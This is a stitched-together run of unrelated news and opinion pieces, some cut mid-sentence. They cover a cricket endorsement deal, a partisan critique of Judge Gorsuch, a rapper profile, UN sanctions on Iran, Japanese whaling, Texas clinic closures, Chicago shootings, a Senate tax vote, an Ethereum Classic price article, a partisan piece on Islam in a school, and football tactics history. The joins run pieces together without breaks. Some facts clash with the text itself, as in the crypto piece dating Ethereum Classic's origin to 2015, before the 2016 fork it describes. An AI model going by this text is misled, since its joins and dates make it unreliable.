We left messages for the building owner's representative to ask if they might entertain a purchase offer from Chedyak, but didn't hear back by deadline. We'll continue to follow the story and report on what might be next for the shop.BENGALURU/MUMBAI: Virat Kohli has become the first Indian sportsperson to sign a Rs 100-crore endorsement deal with a single brand. The Indian cricket captain has struck an eight-year deal with sports lifestyle brand Puma worth about Rs 110 crore. Kohli is now set to join the likes of Jamaican sprinters Usain Bolt and Asafa Powell, and footballers Thierry Henry and Oliver Giroud - among others - as a global ambassador for the brand.The unusually long eight-year deal - which could go on to cover the 28-year old's remaining career with the Indian team - involves a fixed payment and royalty depending on the brand's business performance.Kohli will work with the German company to launch a signature line of sports lifestyle products with a special logo and brand identity. Bulk of the endorsement deal, estimated between Rs 12 to 14 crore annually, is locked up in fixed payout."It's a privilege to be part of a great list of athletes that Puma has. Not just today's icons like Usain Bolt but also the brand's rich history with Pele, Maradona, Thierry Henry and others," Kohli told TOI."Both Puma and I are committed to a long-term partnership. I am impressed by the way Puma has gained popularity and market leadership in India in a short period of time," he added. Sachin Tendulkar and Mahendra Singh Dhoni have been in the Rs 100-crore club through multi-year contract with sports and talent management agencies, which in turn brought a plethora of brands for endorsement deals.In his 24-year-long international career, market estimates suggest Tendulkar endorsed over 50 brands for an accumulated fee in excess of Rs 500 crore. Prominent among those deals were the Rs 30-crore plus with WorldTel in 1995 which was renewed in 2001at more than double the value.In 2006, Tendulkar inked a contract with advertising firm Saatchi and Saatchi's Iconix reportedly valued at around Rs 175 crore for three years. MS Dhoni, the next big superstar after Tendulkar, went to earn roughly $28m (approx Rs 180 crore) from endorsements, being second only to movie star Shahrukh Khan when at his peak and endorsing close to 20 brands.In 2013, Kohli had signed a Rs 10-crore per-annum, three-year deal with sports goods giant Adidas, but this ended when both parties decided not to renew the contract last December. The signing up with Puma, however, puts the dynamic cricketer in a new league altogether."Virat has transformed the way fitness is looked at in Indian cricket. He has emphasized the role of an athlete and reshaping cricket in the millennial culture, thus endorsing our brand ethos. He is a youth icon with an effortless style," Puma India MD Abhishek Ganguly said.The first Puma commercial featuring Kohli is expected to break on air Monday. Both Puma and Kohli wouldn't comment on specific financial details of the endorsement deal.Puma is expected to work with Kohli in markets like UK, Australia, South Africa and the Middle East and "wherever Cricket is relevant."Many, if not most, decisions by the Supreme Court and the courts of appeals are unanimous. Reviewing the cases where an appellate judge has chosen to disagree with and dissent from his or her colleagues, therefore, can be particularly revealing. And that is precisely the case with Judge Neil Gorsuch. Judge Gorsuch’s dissents from his colleagues on the Tenth Circuit Court of Appeals are consistently right-wing, generally seeking to favor big business and other authority and harm the interests of workers and those who have suffered abuse by government officials. And this is on a court which, until recently, consisted primarily of Republican appointees like Gorsuch. For example: In Compass Environmental, Inc. v. Occupational Safety & Health Review Commission, Gorsuch dissented from a decision to affirm a Department of Labor fine against a company that failed to properly train a worker, resulting in his death by electrocution. Gorsuch claimed that there was no evidence to show that industry standards would have required more training. But as the court majority and the agency found, there was “clear evidence” to support the ruling. In particular, the company’s own job hazard analysis found “fatal danger” from the high-voltage power lines involved, and recommended training for employees. That training was given to some employees, but the employee who was killed did not get it because he started working after the training had occurred. As a result of that negligence, the danger truly did become fatal, and the fine against the company was clearly justified. But Gorsuch disagreed with his own colleagues — including one who, like Gorsuch, was appointed by President Bush — and argued that the corporation should pay nothing.
In TransAm Trucking, Inc. v. Administrative Rev. Bd., Gorsuch dissented from a decision to approve a Labor Department determination that a large trucking company had wrongfully fired a truck driver who had refused to drive under hazardous conditions. The trailer’s brakes had frozen in subzero temperatures, and the driver waited over two hours for repair help. He reported that he was “having trouble breathing because of the cold” and he “couldn’t feel his feet.” When help still did not arrive, he unhitched the large trailer because of concerns about driving the entire load under those conditions and began to drive away in the cab. The company insisted by radio that he keep waiting in the frigid conditions or drive with the full load, even though the trailer’s brakes had frozen. Although he returned when help arrived in around fifteen minutes, he was fired; the company claimed that the firing was proper because instead of remaining in the freezing conditions and not driving (which was his right), he drove off without the trailer instead of the dangerous way the company demanded. Gorsuch agreed with the company, claiming that finding for the driver was improperly using the law “as a sort of springboard to combat all perceived evils in the neighborhood” and that the objective to promote health and safety was just “ephemeral and generic.” The court majority agreed with the agency, calling Gorsuch’s reasoning “curious.”
In Planned Parenthood Ass’n. of Utah v. Herbert, a three-judge panel had issued a preliminary injunction against Utah’s governor for unilaterally cutting off Planned Parenthood (PP) funding. A majority of the full 10th Circuit (including several Republican appointees) declined to rehear the case. Gorsuch, however, wrote a dissent for himself and several others, and argued for deferring to the governor. An important issue in the case was the governor’s intent in cutting off funding, which the panel found was retaliation for promoting access to abortion. On that issue in particular, Gorsuch argued for deference to the governor in the name of “comity.” But one of the majority judges explained that Gorsuch’s dissent “mischaracterizes” the record, and that there was clear support for the panel’s decision based on its legal analysis and public statements and admissions by the governor himself. In fact, even the judge who dissented from the panel decision in the case opposed a rehearing. In addition, another judge in the majority pointed out that none of the parties asked for rehearing within the time permitted, and there was “no justification” for polling the court on that question at all (apparently an unidentified judge, quite possibly Gorsuch or another judge who joined his dissent, had requested the judges be polled.) This dissent not only shows Gorsuch’s lack of regard for reproductive rights, but also his tendency to defer to executive authority when individual rights are concerned, a dangerous tendency under President Trump. These are just a few of the dissents written by Gorsuch where his disagreements with his own colleagues, including other Republican appointees, show that he is far to the right and out of the mainstream. Altogether, Judge Gorsuch has written 35 dissents, which are in the following areas: workers’ rights, abuse of government official authority, corporations and consumers, criminal law, and other constitutional issues. Each is discussed below.
Workers’ Rights
Judge Gorsuch has written five dissents in cases concerning workers’ rights. In all but one, the majority found in favor of the worker, but Gorsuch argued for a result that would have hurt the worker and helped a corporation or other employer. These include the Compass Environmental and TransAm Trucking cases discussed above. The two others are similarly troubling. In Strickland v. United Parcel Service, Inc., the court majority ruled that a lower court had improperly dismissed a complaint that UPS had committed sex discrimination against a fired female employee and had also violated the Family and Medical Leave Act (FMLA), and sent the case to the district court so that the plaintiff could try to prove her claims at trial. Although Gorsuch agreed with the FMLA ruling, he dissented on the discrimination claim and argued that the dismissal of that claim should be affirmed. The majority was critical of Gorsuch’s argument, noting that he “fail[ed] to acknowledge” substantial evidence that the worker was treated differently because of her gender. That evidence, the majority explained, included testimony from “multiple co-workers” that she was treated differently than male employees, including being required to meet 100 percent of sales goals and being subjected to “increased oversight” such as frequent and “negative” meetings that “interfered with her ability to do her job.” Finally, in NLRB v. Community Health Services, Inc., Judge Gorsuch dissented from a ruling last year that upheld a National Labor Relations Board (NLRB) decision that granted over $100,000 in back pay to hospital workers whose hours were illegally reduced, without deducting amounts that some earned elsewhere during the period that the employees’ hours were improperly reduced. The Board concluded that such deductions were improper because the outside employment was important to help address the additional hardship, encourage production and employment, and prevent dilatory conduct by employers in accord with the law. But Gorsuch did more than dissent. He excoriated the NLRB, a favorite target of many right-wing Republicans, suggesting that the NLRB’s decision could have stemmed from its alleged “frustration that it cannot pursue more tantalizing goals like punishing employers for unlawful actions.” Interestingly, one of the judges in the majority from which Gorsuch dissented was Chief Judge Tim Tymkovich, also a Bush appointee who was on |
, Cartier bracelets.” He pulls out his chains, which include a custom Chanel rosary that looks like it was made for a Medici pope. If you’re wondering how much, say, his gold Patek Philippe watch costs? You’ll have to find out for yourself. “Just write that it’s expensive,” says Future. “I wouldn’t want anybody reading this interview to feel like it’s unachievable. If they want to know what ‘expensive’ is, they can Google it. When you start throwing numbers at n—as, they start getting afraid, they might give up” — he starts cackling — “or commit suicide.”
A few days later, Future touches down in New York, following a whirlwind trip from Miami to Los Angeles to London, where he played a gig for Reebok Classics, with whom he has an endorsement deal. In New York, he’s scheduled to host a party for the brand at a pop-up store downtown. The event starts at 7 p.m. Future doesn’t show up until nearly three hours later, by which time more than half the crowd has given up and left. But when he glides through the door, something genuinely impressive happens: A room full of jaded media people and sneaker-industry VIPs goes nuts. The crowd surges toward him, camera-phones up, as he ducks into a seating area behind a velvet rope and drinks some champagne from a bottle. They chase him through the store as he weaves his way to the DJ booth to give a quick speech. And then -- before even his entourage knows what’s happening -- he’s out the door, into the back of an SUV and headed, presumably, back to outer space.
This article originally appeared in the April 1 issue of Billboard.The vote had been delayed to allow extra lobbying by its sponsors
UN votes against Iran The UN Security Council has voted in favour of new sanctions against Iran over its nuclear programme. Fourteen of the council's 15 members voted in favour of measures including asset freezes and travel bans for Iranian officials. Indonesia abstained. Western powers suspect Iran may be developing nuclear weapons, but Iran says its nuclear programme is for energy generation only. Tehran has refused to comply with demands that it stop enriching uranium. This can be undertaken for power generation, but may also be a precursor to building an atomic bomb. RESOLUTION 1803 Imposes travel bans on five Iranian officials Freezes foreign assets of 13 Iranian companies and 13 officials Bans sale of dual-use items to Iran Urges governments to withdraw financial backing from firms trading with Iran, inspect cargo going into and out of the country, and monitor the activities of two Iranian banks Requests IAEA to report on whether Iran has complied with demand to suspend uranium enrichment If not, threatens further sanctions
Iran still claims to be winning Q&A: Iran nuclear issues This third sanctions resolution - formally submitted by France and Britain - adds to resolutions adopted in 2006 and 2007. It calls for the foreign assets of 13 Iranian companies to be frozen, and imposes travel bans on five Iranian officials. It bans the sale to Iran of so-called dual-use items - which can have either a military or civilian purpose. The BBC's Laura Trevelyan at the UN says the measures are lowest-common-denominator sanctions that even China and Russia - who maintain closer links with Iran than the Western powers - would support. Both China and Russia are permanent, veto-wielding members of the Security Council. Iranian anger December's national intelligence estimate by the US, which concluded Iran probably shelved its nuclear weapons programme in 2003, undermined efforts to make these sanctions tougher, says our correspondent. The resolution received the backing of all five permanent members - which include France, Britain, and the US. The non-permanent members all backed it, except Indonesia, which said it remained to be convinced of the need for sanctions. Peoples around the world consider the actions of the Security Council as the result of the political pressure exerted by a few powers
Mohammad Khazee
Iranian ambassador to UN In a statement before the vote, Iran's envoy to the UN, Mohammad Khazee, described the resolution as politically motivated, illegal, and illegitimate. He insisted Iran's nuclear programme "has been, is, and will remain, absolutely peaceful" - and said Iran would ignore the sanctions. Mr Khazee said the council's action was not supported by most of the UN's 192 member states, nor most people, who viewed "the actions of the council as the result of the political pressure exerted by a few powers to advance their own agendas". But the US ambassador, Zalmay Khalilzad, said it was "just too dangerous for the world to accept this government having access to production of fissile material and getting close or acquiring a nuclear weapons capability". Offer renewed In remarks to reporters, the British ambassador to the UN, John Sawers, said the permanent council members would ask EU foreign policy chief Javier Solana to meet Iran's chief nuclear negotiator to try to resolve the impasse. HAVE YOUR SAY The sanctions on Iran have not been successful in stopping Iran from uranium enrichment Nastaran, Canada He restated an offer made in 2006 to assist Tehran with its civilian nuclear programme, in exchange for the suspension of uranium enrichment. Israel's foreign ministry said the resolution was "an unequivocal message that the international community cannot accept Iran's defiant nuclear programme". The UN's nuclear watchdog, the International Atomic Energy Agency, reported in February that Iran had cleared up most of the outstanding questions regarding its past nuclear activities. But the IAEA has criticised Iran for refusing to clarify remaining questions about intelligence suggesting Tehran may have been exploring ways to "weaponise" nuclear materials. Iran's envoy to the IAEA, Ali Asghar Soltanieh, has dismissed the intelligence as "forged and fabricated". He said in Vienna after a meeting of the IAEA's 35-nation board that "all the outstanding issues have been concluded".
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StumbleUpon What are these?TOKYO, Japan — In the coming days, a fleet of Japanese ships will return from the Antarctic Ocean laden with a controversial cargo of whale meat — the spoils of a four-month “lethal research” expedition condemned by conservationists and even Japan’s closest trading partners and allies.
Foreign media criticism and harassment from activists have frustrated the fleet in recent years, but it hasn’t stopped it from conducting what Japan believes is its inalienable right to maintain a 400-year-old tradition of killing and eating whales.
Japan’s persistence in the face of international opposition is a mystery to many. Diplomatically and financially it has nothing to gain by exploiting a loophole in the International Whaling Commission’s 1986 moratorium on commercial whaling that allows it to kill about 1,000 whales every winter.
It is clear that the fleet is not satisfying a popular appetite for whale meat back home. While some older Japanese look back fondly on a time, from the late 1940s to the early 1960s, when the meat was served in school lunches, most younger people wonder why anyone would prefer the chewy, oily flesh over chicken, pork and beef.
According to a 2008 survey by the Nippon Research Center, 95 percent of Japanese either consume whale meat very rarely or never at all. Annual per capita consumption now amounts to no more than four slices of sashimi a year.
The result is a growing stockpile that has prompted the reintroduction of whale meat into the school lunch system in several parts of Japan.
While industry supporters talk of a national culture of whale consumption, the meat is eaten regularly only in a handful of coastal villages with strong historical links to the industry.
These communities, including Wada, on Japan’s Pacific coast, are permitted by the agriculture ministry to catch a certain number of smaller whales not covered by the IWC ban, despite fears over high levels of dioxin, mercury and other toxins.
The catch is of limited economic value to local people, but forms a pivotal part of a campaign to save traditions under attack from what some call Western culinary imperialism.
In fact, large-scale whaling in distant oceans began only after the U.S. Gen. Douglas MacArthur, who led the postwar occupation of Japan, identified whale meat as a cheap source of protein for an impoverished and hungry nation.
“Whale meat saved Japanese people from starvation during the food shortage after the war,” said Konomu Kubo of the Japan Whaling Association. “We believe whale meat was a source of vitality and enabled Japan to achieve high economic growth after the war and become a major economic power.”
Jun Morikawa, a professor at Rakuno Gakuen University in Sapporo, is one of few Japanese to have openly challenged the belief that whale consumption is an important part of the country’s cultural heritage.
Instead, he points to collusion between Fisheries Agency bureaucrats and politicians representing coastal communities with a vested interest in promoting a loss-making industry that also comes with enormous environmental and diplomatic costs.
“They are like a fishing industry tribe,” said Morikawa, author of "Whaling in Japan: Power Politics and Diplomacy." "Japan’s whaling policy is determined, executed and assessed by a small governing elite. The whaling industry is not financially viable. Its job is to spread pro-whaling propaganda and manipulate public opinion so that people think that eating whale meat is part of our national culture."
As the IWC prepares to meet in Morocco in June, Japan, which has never come close to the two-thirds majority it needs to overturn the commercial whaling ban, is looking for new ways to keep its controversial fleet active.
Among the proposals now under discussion is one that would allow Japan, Norway and Iceland to conduct limited commercial whaling in return for a huge cut in the size of the current “scientific” catch.
Pro-whaling officials blame the moratorium for the artificially high prices that prevent whale meat from re-establishing itself as a key part of the Japanese diet.
“Although current supply of whale meat is just 2 percent of what it was 40 years ago our unique dietary patterns and diet culture are still ingrained in various regions,” said Kubo.
“It is not true that young people don’t eat whale meat because they do not like its taste. When we organize special classes at schools, most of the children, who ate whale meat for the first time, said they liked it.”
Despite the damage whaling inflicts on Japan’s international standing, its fate could be determined not by backroom deals at the IWC but by shifting attitudes at home.
Morikawa hopes that Japan’s progressive government, which took office last autumn, will “consider ending research whaling and at the very least promote a public debate on the issue.”
It is a debate he believes the power brokers in the whaling industry would lose: “Young Japanese people would rather watch whales than eat them. They’re more interested in protecting wildlife than in destroying it.”Planned Parenthood on Wednesday informed staff at three of its facilities in Texas that they would be closing, according to people familiar with the decision.
The three clinics are located in Bryan, Huntsville and Lufkin, Texas. They are closing in response to a new package of abortion restrictions signed into law on Thursday and funding cuts to Texas' Women's Health Program that were passed by the Texas state legislature in 2011. Out of the three Planned Parenthood clinics that are closing, only the Bryan clinic performs abortions.
“In recent years, Texas politicians have created an increasingly hostile environment for providers of reproductive health care in underserved communities. Texans with little or no access to health care services have been deeply affected by state budget cuts to programs provided by Planned Parenthood health centers and dozens of others that provided lifesaving cancer screenings, well-woman exams and birth control," said Melaney A. Linton, president and CEO of Planned Parenthood Gulf Coast."
“The combined impact of years of budget cuts to women’s health care services and the dismantling of the successful Women’s Health Program will take affordable, preventive health care options away from women in Bryan, Lufkin and Huntsville — just as these policies have taken health care away from an estimated 130,000 others — when Planned Parenthood Gulf Coast is forced to close these family planning health centers at the end of August," she said.
“Ensuring Texas women have access to the care they need to stay healthy, especially women in rural and underserved areas, goes to the heart of our mission," she continued. "We are making every effort to provide resources for our patients faced with health center closings, however the alarming reality is that most will be left with no real options for getting the basic, preventive health care they need."
Republican state lawmakers voted in 2011 to block all funding from the state's Medicaid family planning program, called the Women's Health Program, from going to Planned Parenthood clinics. All three clinics are now set to close as a result.
The Bryan clinic, meanwhile, is also impacted by the abortion law signed on Thursday, which requires all abortions to take place in ambulatory surgical centers. The clinic would need to undergo a series of renovations to fit that description, which could cost millions of dollars. The new law also bans abortions after 20 weeks of pregnancy, requires abortion doctors to have admitting privileges at a hospital within 30 miles of the facility, and requires doctors to administer the abortion-inducing drug RU-486 in person, rather than allow women to take it at home.
The law's Republican backers argued that it protects women's health and safety by requiring abortion clinics to become, in effect, mini-hospitals. But opponents argue that the regulations are medically unnecessary and designed to shut down safe, legal clinics.
"It is a travesty that Texas politicians are stripping healthcare from women across the state, harming lives and unraveling the health care safety net that has taken decades to build," said Linton. "As voices in support of women's health continue to grow within the state and as the chorus of alarmed people nationwide focus their attention on Texas politicians, Planned Parenthood will continue to work strongly to eliminate these politicized barriers and to stand up for women in Texas, no matter what."More than 60 people were shot, at least nine of whom died, this holiday weekend. Police fired their weapons in five incidents, officials said.The most recent fatality is a 21-year-old man whom relatives say was sitting in a car on the 5200-block of West Lake Street when someone approached the vehicle and shot him in the head. His 19-year-old cousin was also injured.Sunday evening, multiple shootings were reported, including several on the Far South Side. At 132nd Street and Prairie, a woman was shot in the arm and a man in the stomach following one incident. Blocks away, a woman in her 60's was grazed in the head by a stray bullet while standing on her front porch.On Saturday night, police fatally shot 16-year-old Warren Robinson. Officials say he was hiding under a car with a gun that he pointed at an officer. His mother says that's not true."He didn't have a gun on him," Georgina Utendahl said. "I have witnesses who saw him running from other people and police shot him."Despite the uptick in violence this weekend, Chicago police say recent statistics show the number of shootings and homicides are down overall for the year."With these kind of numbers in Chicago, from the White House on down to the city there should be a response: What do we do? How do we stop this?" said Father Michael Pfleger, St. Sabina Catholic Church.An outspoken critic of the gun violence that continues to afflict the city's South and West Sides, Fr. Pfleger pointed out the irony of this latest outbreak taking place during the July 4th weekend."We're celebrating independence, but we feel like we're in prison," he said. "It's unacceptable. We wouldn't accept in in Iraq, we shouldn't accept in it Chicago."Senate Republicans on Wednesday voted down a measure to prevent tax cuts for the top 1 percent earners, an amendment introduced by Sens. Bernie Sanders and Ron Wyden to extract a price from the GOP as it moves toward tax reform legislation.
The amendment pertained to the Senate budget that Republicans need to pass so they can proceed with a tax bill that can't be filibustered by Democrats. It failed in a 52-46 vote, with Democrat Heidi Heitkamp of North Dakota joining Republicans in voting "no."
Sanders, a Vermont independent who caucuses with Democrats, said "it's not a radical idea to suggest that at a time of massive income and wealth inequality, when the people on top are doing unbelievably well, at a time when the middle class is shrinking, now is not the time to provide hundreds of billion of dollars of tax breaks to the very wealthiest families in this country." Sanders serves as Democrats' ranking member on the Budget Committee.
The amendment would have required that any bill that cut taxes for the top 1 percent of individuals be subject to the Senate's 60-vote threshhold for passage. People earning more than about $466,000 in adjusted gross income are in the top 1 percent, according to IRS data.
Maine Sen. Susan Collins, one of the centrist Republicans who might have been pressured by such a measure, said she opposed the amendment because the 1 percent is too low a cut-off.
"If he had offered it as a millionaire's, billionaire's tax, then he would have had my vote," Collins told reporters.
Wyden, the Oregonian who is the top Democrat on the Finance Committee, said the amendment "does what the president says what he wants to do, which is not give the relief to the people at the top."
The Sanders-Wyden amendment is just one of several that Democrats had planned to force Republicans to take awkward votes on as they try to advance tax legislation.
Passing a budget unlocks the process known as reconciliation that would allow tax legislation to pass with a simple majority in the Senate.By
The general spike in the price of most (nearly all) of the cryptocurrencies in the market has been the course of jubilation for most investors in this space.
During the last two weeks, the different cryptocurrencies have risen and risen to levels the stock market could only dream about. One currency that has enjoyed the above quite a lot has been Ethereum Classic (ETC).
The week has seen the price of Ethereum Classic rise from as low as $18 to highs of up to $33, a near 100% increase in prices. This can be seen in the chart below:
Chart courtesy of coinmarketcap.com
The above has necessitated our look into the currency as we try to establish who and what is the driver of such a valuation.
The History
Back in 2016, a venture capital fund known as The DAO which is built on Ethereum raised $168 million with the intention of investing this into smart contracts: computer protocol intended to facilitate, verify, or enforce the negotiation or performance of a contract and used primarily in the enforcement of cryptocurrencies.
A few weeks later, in May 2016, the company was hacked and drained of 3,689,577 Ethereum. This brought about the debate on whether a fork on this system was necessary for the company or not. Well, it seems many thought it was quite necessary.
Ethereum Classic came about in July 2015.
The currency was as a result of a hard fork that took place during this period courtesy of disagreements between two factions of its users: those opposed to the fork and those promoting it. The former held on the principle of ‘immutability’, one that holds that the blockchain cannot be changed.
The latter got to obtain a forked currency which is today known as Ethereum while the former in turn retained the ‘unforked’ currency that is Ethereum Classic.
Since then, a lot has happened to the currency. It remained stable for quite some months at about $1 until March this year when it began rising. It hasn’t stopped going up since and neither has its traded volumes.
The Developments
The most recent development has been the ‘New Monetary Policy’ the currency is planning to adopt. The latter has been presented to the market as the catalyst that drove the price of Ethereum Classic upwards from $18 to $33 in just one week.
We will debunk this later.
The policy has been stated as one meant to permanently alter the supply of Ethereum Classic. It follows a hard fork that took place earlier this year that would see the reduction of the ETC block reward over time until the currency supply reached a hard cap of approximately 210 million to 230 million tokens.
The first of these reductions, a 20 percent reduction, would occur at block height of 5 million, which should be mined in about two weeks.
This, coupled with the implementation of a new algorithm that increases the difficulty of obtaining additional coins, go a long way in ensuring that the currency is ‘stable’ in the long run which is where the name ‘monetary policy’ comes in.
The Price Spike
A lot of volatility has been seen in the cryptocurrency world with the currencies rising and falling in one day. It comes as no surprise nowadays when the market witnesses the price of a currency jump from $9,000 to $11,000 and back down to $9,000 in one day as was witnessed in the price of Bitcoin as late as yesterday.
As such, a volatile price is expected for such cryptocurrencies. However, Ethereum Classic has seen a consistent rise in price which begs the question, what is the catalyst?
Initially, the narrative held that the implementation of the new monetary policy was the reason behind this, however, we have our reservations and they are warranted.
The implementation of this new protocol has been the talk of town since early this year and with each lag, the effects on the upward share price movement seemed to have been mitigated. As such, as we draw closer to the close of the year, the announcement that there will be a new protocol is more mundane than was back in the beginning.
This being the case, the reason for the price movement is therefore the traded volumes.
During the week, a large volume of this currency was traded and most of it was by the South Korean market which moved over 40% of the traded volumes to close at nearly $700 million. Therefore, we believe that the above was more as a result of market sentiments than it was catalyst driven. As such, we do not expect the high price to hold in the short run, however, the price will rise again in the long term.
Conclusion
We will be updating our subscribers as soon as we know more. For the latest updates on ETC, sign up below!
Disclaimer: This article should not be taken as, and is not intended to provide, investment advice. Please conduct your own thorough research before investing in any cryptocurrency.
Is Ethereum Classic (ETC) Actually Running or Merely Sentiment Driven?What would YOU do if your kids were forced to sit through an Islamic proselytizing video in middle school?
(Bear with us, dear ClashDaily Readers. This is going to be video-heavy.)
Two New Jersey moms are raising hell about the middle school seemingly proselytizing for Islam. Nancy Gayer and Libby Hilsenrath were concerned when they heard that the school was extensively teaching Islam in the classroom, but other religions were excluded. They were then more concerned when they learned what it was that the students were exposed to.
The students in a 7th Grade Social Studies class were shown a 20-page Powerpoint presentation and several videos about Islam — but were not taught about any other religion.
Trending: WTF? The Weedkiller ROUNDUP Has Been Detected In These BEER & WINE Brands
Here is one video that claims that Allah is the one true God and that Jews and Christians are not following the religion of Abraham:
Here are some of the videos that the kids watch in class:
Here is part 2:
Don’t you love how Alex, the non-Muslim kid, said,‘I don’t like to do things without asking Mum!’ regarding going over to the other kid’s house, but didn’t ask his mom if he could go to the mosque?
Yeah, that’s not weird at all.
Those cartoon videos sure look like proselytizing.
Gayer contrasted the current handling of Islam at the school with a presentation made by her son in 4th Grade. Her son had worked independently on collecting for a charity and created a presentation which included a Bible verse at the end. The teacher told him that it belonged ‘in Sunday School’ not in the classroom and then told the students that the computer wasn’t working so they wouldn’t see the presentation.
Gayer and Hilsenrath attended the Board of Education meeting to express their concerns.
However, the superintendent, Michael LaSusa, refused to eliminate the course because “it is part of the New Jersey curriculum core content standards to teach students about the various religions of the world.” He also refused to meet with Gayers and Hilsenrath. Gayers and Hilsenrath have since been smeared as Islamophobic by various people in the area. “We were labeled as bigots immediately following the Board of Ed meeting in an op-ed,” Hilsenrath told Fox News host Tucker Carlson, “and then all over Facebook with people who knew us or didn’t know us. Xenophobic, Islamophobe, I mean it went as far as the KKK, which I don’t know what that has to do with this.” “Unfortunately I was stared down at a grocery store too,” Gayers added, “and I believe I was in the express line with just 10 items but yet I was still stared down. It was pretty unnerving.” The op-ed that Hilsenrath referenced was a letter to the editor on Tap Into Chatham by resident Susan O’Brien, who called Gayers and Hilsenrath’s concerns as “at worst veiled bigotry and at best sad and ignorant.” “I believe that ignorance breads fear and fear breeds hatred; the more we understand about other cultures and religions the better we are equipped to deal with the issues we face in today’s world,” O’Brien wrote. O’Brien did not attend the Board of Education meeting and nowhere in her letter did she address the glaring inconsistency of the district’s religion in the classroom policy.
Read more: The Dialy Wire
Watch Nancy Gayer and Libby Hilsenrath at the Board of Education meeting:
And finally…
Watch the moms on Tucker Carlson:
Watch the latest video at video.foxnews.comBy Amogh Sahu
Tactics have always been a subject for football analysts to feast upon. Looking at the nuances of the beautiful game and the tactical  fumblings of football managers enchants many of us who watch.
Managers come and go, but some leave a lasting legacy, mostly based on success, but sometimes, a manager brings about a tactical revolution, which leads to a widespread assessment of how professional football is played.
1. Herbert Chapman’s W-M Counter-attacking style at Arsenal
In 1930, Arsenal manager and visionary Herbert Chapman won the FA Cup against his old club Huddersfield Town, 2-0. This was the crowning glory of Chapman’s reign, where he cemented his legacy in the history of Arsenal and football. He created a side that boasted the likes of Ted Drake, Alex James and Eddie Hapgood among others. His “Invincibles” were to be defeated by Wallsall, a lowly Third Division side costing only £69 in total.
Chapman is remembered more for his  tactical innovations than the great side he created. He introduced floodlights, physiotherapy and passing play as well as encouraging the creation of the first European competition. Chapman’s main invention however was the 3-2-2-3 formation, aptly named the W-M for the way players line up in a formation which spells out the two aforementioned letters. This was a variation on the 2-3-5 formation of the time, which entailed getting a player from the midfield to help the defence and pushing the inside left and inside right back to the area which we would now call attacking midfield.
To accomplish his ideal, Chapman bought Alex James from Preston North End and deployed him as a creative inside left. He then brought in David Jack from Bolton Wanderers to play alongside him. He already had Hulm and Cliff Bastin to use as wingers. He told his players to sit deep and allow them possession in the Arsenal half, but never let them make any headway. This was very effective against the style of play most English clubs favoured (the emphasis then being on dribbling and beating people and crossing, which Chapman’s counterattacking system did not allow to happen). After quickly dispossessing the opponent whilst they were still forward, his Arsenal side went up the pitch with pace and quick passing techniques. This was the first prototype of a counter-attcking system which was to be used thousands of times in the future and won more trophies that Chapman could ever have imagined – his greatest legacy.
2. Catenaccio and Herrera’s Inter
Catenaccio is a tactical system associated primarily with Argentinian tactician Helenio Herrara of Internazionale and Barcelona. However, it was first dreamed up by Swiss coach Karl Rappan, who called it the Verrou, referring to the Verouilleur, or sweeper, who played as the 1 in his 1-3-3-3 formation, in the 1940s and ’50s. Rappan’s Verrou was the modern 4-3-3, except one center-back played as a sweeper and one winger dropped off slightly to the wide attacking midfield role, making it sort of like a 4-4-2. The first true form of Catenaccio was in fact used by  then-Padova coach Nereo Rocco during the ’50s. The first display of Rocco’s Catenaccio was at Triestina in 1947, where he managed to get the club to second place playing Catenaccio.
Helenio Herrara came to Internazionale to find a team already equipped with great talents. Sandro Mazzola, their talisman, was a great creative midfield talent to rival Gianni Rivera from up the road. Giacinto Fachetti was a great attacking left-back, who pioneered this role, in fact. The tricky Brazilian winger Jair also formed part of this side. With him, Herrera brought Spanish midfield maestro Luis Suarez of Barcelona fame. He had formed La Grande Inter. With Jair as the winger in the front three who dropped off, Mazzola acting as an early type of support striker and Suarez marshaling the midfield, Herrara had his great system. He went on to win three Serie A titles, two European Cups and two Intercontinental cups in his Inter tenure.
Herrara’s system drew attention. Now managers alll over the world were looking to counter it. In 1970, Inter reached the European Cup final again, this time facing Jock Stein’s Celtic, a team which had  wing wizards Tommy Gemmell and Jimmy Johnstone. This time, Catenaccio did not pay off. Although Mazzola converted a penalty which put Inter in the lead before half-time, Stein’s hitherto considered primitive provincial approach paid off as Gemmell equalised and Johnstone won it for Celtic. However, this was considered a freak result rather than a tactical victory.
But Herrera’s shrewd system was ripped to shreds by a new style that came along in 1971 …
3. Michels’ Total Football
Like many other tactical systems, this idea is not completely unique to Rinus Michels, the one who popularised it. A very early prototype of his idea originated from legendary English coach Jimmy Hogan.
This idea was taken up and developed by his protege, Hugo Meisl, who used it to develop his Wunderteam with Matthias Sindelar as the heartbeat of the side and Bican in attack. Another of Hogan’s pupils (and perhaps his most famous), the Hungarian Gustav Szebes, put this into practice as coach of the Hungarian “Mighty Magyars.”
The Magyar’s defeat of Hogan’s countrymen in 1953 at Wembley highlighted the power this system had and how variations and further development of it would bring about more such humiliations to opponents. The Hungarians’ off the ball movement, switching of positions and their trickery of passing left the opponent dumbfounded (Stan Cullis was at his prime then in England, so long-ball was still prevalent). England were beaten 5-3. Although Honved (containing many of the “Mighty Magyars”) were defeated by Wolves later in the year, the Magyars almost completely dominated their era, finishing runners up at the World Cup to underdogs Germany in 1954.
The Hungarian system was a 3-2-3-2, similar to the 5-3-2 system in use almost 40 years later. Szebes pioneered the use of the deep-lying forward with the star of his team, Ferenc Puskas, and introduced to the world the idea that players could play in more than one position. Also, most of the Hungarian players had played with each other from a young age (for Honved) and so they knew each other’s game perfectly. Sound familiar?
Following the ’60s (The Catenaccio decade), a new team came to the fore: Ajax. This side, coached by Rinus Michels, played a kind of football that had only been played by the Mighty Magyars before. However, Michels added discipline to the Total Football template and introduced the concept of a hard-working pressing game. He used a 4-3-3 formation at Ajax with Cruijff, like Puskas before him, the centre point of the side. With this side, he won three European Cups in a row as well as several domestic trophies.
In 1974, Michels took over the Dutch national side, where he molded his talents into a total football unit like his club and brought onto the world stage the idea of Total Football. With Cruyff as the talisman, Neeskens and Haan in midfield and Krol and Suurbier as the fullbacks, Holland entranced the world with their total football, only to lose to Germany in the final of the 1974 World Cup.
Michels’ protege Johan Cruyff then took up management and instituted Michels’ philosophy at Barcelona, his former club. He created the Dream Team, which in 1992 won the European Cup playing Total Football. It had Koeman in defence, Laudrup in midfield and Romario and Stoichkov in attack. His midfield water carrier was a young man called Josep Guardiola, who seemed destined for greatness on and off the pitch. But more on that later.
As for Michels: he took over the Dutch national reins again in 1988 and won the European Championships with Holland.
4. Guardiola’s Total Football
